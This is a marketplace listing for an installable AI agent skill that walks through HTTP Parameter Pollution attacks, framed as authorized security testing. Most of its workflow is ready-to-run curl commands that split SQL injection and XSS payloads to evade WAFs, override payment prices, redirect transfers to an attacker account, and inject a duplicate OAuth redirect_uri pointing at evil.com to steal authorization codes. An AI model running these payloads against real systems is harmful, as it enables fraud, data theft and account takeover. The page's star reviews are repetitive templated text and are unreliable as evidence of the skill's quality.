performing-http-parameter-pollution-attack
Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems.
Works with
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Install Skill
Run in your terminal
0
installs
0
this week
8.6K
stars
Installation Guide
How to use performing-http-parameter-pollution-attack on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your machine
- ›Node.js 16+ with npm — verify with
node --version - ›Active project directory where you want to add
performing-http-parameter-pollution-attack
Run the install command
Execute the skills CLI command in your project's root directory to begin installation:
Fetches performing-http-parameter-pollution-attack from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-http-parameter-pollution-attack. Access via /performing-http-parameter-pollution-attack in your agent's command palette.
Security Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Documentation
| name | performing-http-parameter-pollution-attack |
| description | Execute HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls by injecting duplicate parameters that are processed differently by front-end and back-end systems. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - http-parameter-pollution - hpp - waf-bypass - input-validation - web-security - parameter-injection - server-parsing |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Performing HTTP Parameter Pollution Attack
When to Use
- When testing web applications for input validation bypass vulnerabilities
- During WAF evasion testing to split attack payloads across duplicate parameters
- When assessing how different technology stacks handle duplicate HTTP parameters
- During API security testing to identify parameter precedence issues
- When testing OAuth or payment processing flows for parameter manipulation
Prerequisites
- Burp Suite Professional with Intruder and Repeater modules
- Understanding of HTTP protocol and query string parsing
- Knowledge of server-side parameter handling differences (first, last, array, concatenated)
- cURL or httpie for manual parameter crafting
- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Parameter Handling Behavior
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
Step 2 — Perform Server-Side HPP
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
Step 3 — Perform Client-Side HPP
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
Step 4 — Bypass WAF Rules Using HPP
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
Step 5 — Test OAuth and Payment Flow HPP
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
Step 6 — Automate HPP Testing
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
Key Concepts
| Concept | Description |
|---|---|
| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |
| Client-Side HPP | Injected parameters reflected in URLs/links sent to other users |
| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |
| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |
| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |
| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |
| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for intercepting and duplicating parameters |
| param-miner | Burp extension for discovering hidden and duplicate parameters |
| OWASP ZAP | Automated scanner with HPP detection capabilities |
| Arjun | Hidden HTTP parameter discovery tool |
| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |
| Wfuzz | Web application fuzzer supporting parameter manipulation |
Common Scenarios
- WAF Bypass — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them
- Payment Manipulation — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values
- OAuth Redirect Hijacking — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server
- Access Control Bypass — Override role or permission parameters in requests to elevate privileges or access restricted resources
- Input Validation Bypass — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters
Output Format
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Steps
- 1Install skill using provided installation command
- 2Test with simple use case relevant to your work
- 3Evaluate output quality and relevance
- 4Iterate on prompts to improve results
- 5Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Related Skills
performing-web-application-firewall-bypass
1mukul975/Anthropic-Cybersecurity-Skills
performing-cryptographic-audit-of-application
5mukul975/Anthropic-Cybersecurity-Skills
exploiting-deeplink-vulnerabilities
3mukul975/Anthropic-Cybersecurity-Skills
implementing-soar-playbook-with-palo-alto-xsoar
3mukul975/Anthropic-Cybersecurity-Skills
analyzing-network-traffic-with-wireshark
2mukul975/Anthropic-Cybersecurity-Skills
scanning-docker-images-with-trivy
2mukul975/Anthropic-Cybersecurity-Skills
Reviews
- DDhruvi Jain★★★★★Dec 24, 2024
performing-http-parameter-pollution-attack fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- AAarav Brown★★★★★Dec 24, 2024
We added performing-http-parameter-pollution-attack from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- OOshnikdeep★★★★★Nov 15, 2024
Registry listing for performing-http-parameter-pollution-attack matched our evaluation — installs cleanly and behaves as described in the markdown.
- KKiara Jackson★★★★★Nov 15, 2024
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
- GGanesh Mohane★★★★★Oct 6, 2024
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
- BBenjamin White★★★★★Oct 6, 2024
Registry listing for performing-http-parameter-pollution-attack matched our evaluation — installs cleanly and behaves as described in the markdown.
- AAarav Garcia★★★★★Sep 25, 2024
I recommend performing-http-parameter-pollution-attack for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- KKiara Tandon★★★★★Sep 17, 2024
Solid pick for teams standardizing on skills: performing-http-parameter-pollution-attack is focused, and the summary matches what you get after install.
- NNoor Haddad★★★★★Sep 13, 2024
performing-http-parameter-pollution-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
- KKaira Yang★★★★★Sep 5, 2024
performing-http-parameter-pollution-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 36
Discussion
Comments — not star reviews- No comments yet — start the thread.